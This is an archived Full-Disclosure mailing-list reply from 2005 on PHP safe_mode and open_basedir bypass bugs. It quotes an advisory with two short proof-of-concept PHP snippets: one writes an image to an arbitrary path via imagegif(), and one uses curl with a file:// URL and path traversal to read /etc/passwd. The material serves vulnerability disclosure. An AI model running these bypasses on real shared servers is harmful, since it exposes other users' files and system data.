[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: [Full-disclosure] PHP Safedir Restriction Bypass Vulnerabilities
- To: "peter MC tachatte" <slythers@xxxxxxxxx>, <full-disclosure@xxxxxxxxxxxxxxxxx>
- Subject: Re: [Full-disclosure] PHP Safedir Restriction Bypass Vulnerabilities
- From: "VeNoMouS" <venom@xxxxxxxxxxx>
- Date: Wed, 19 Oct 2005 10:31:23 +1300
In reguads to the the curl, I have just checked all the php curl code this was
fixed in 4.3.10 from what i can see, because i wrote a patch to stop the
openbase dir in curl until php fixed it, i submited it along time ago but the
php dev's were all "blah blah blah 3rd party software blah blah not our
problem"
im not sure if theres a patch for the imagegif() as i havent seen that one
before.
----- Original Message -----
From: peter MC tachatte
To: full-disclosure@xxxxxxxxxxxxxxxxx
Sent: Tuesday, October 18, 2005 9:55 AM
Subject: [Full-disclosure] PHP Safedir Restriction Bypass Vulnerabilities
There is a vulnerability (Safedir Restriction Bypass) identified within the
GD extension affecting
the following functions:
- imagegif()
- imagepng()
- imagejpeg()
in /ext/gd/gd.c line 1647
Which is now fixed in the cvs
http://cvs.php.net/co.php/php-src/ext/gd/gd.c?r=1.312.2.1#1786
POC:
with an image like http://81.57.125.106/~slythers/file.gif
<?php
$im = imagecreatefromgif("file.gif");
imagegif($im, '/var/www/f34r.fr/c/f/elbossoso/.i.need.money.php');
?>
curl openbasedir and safemode bypass.
POC:
<?php
mkdir("./".$_SERVER["SCRIPT_NAME"]."?");
$ch =
curl_init("file://".$_SERVER["SCRIPT_FILENAME"]."?/../../../../../../../../../../../etc/passwd
");
$file=curl_exec($ch);
echo $file;
?>
As you notice, we can bypass the safedir which leads to access to any
files on any shared servers.
This is fixed in the cvs.
slythers@xxxxxxxxx
greets: david coallier <davidc@xxxxxxx>
------------------------------------------------------------------------------
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/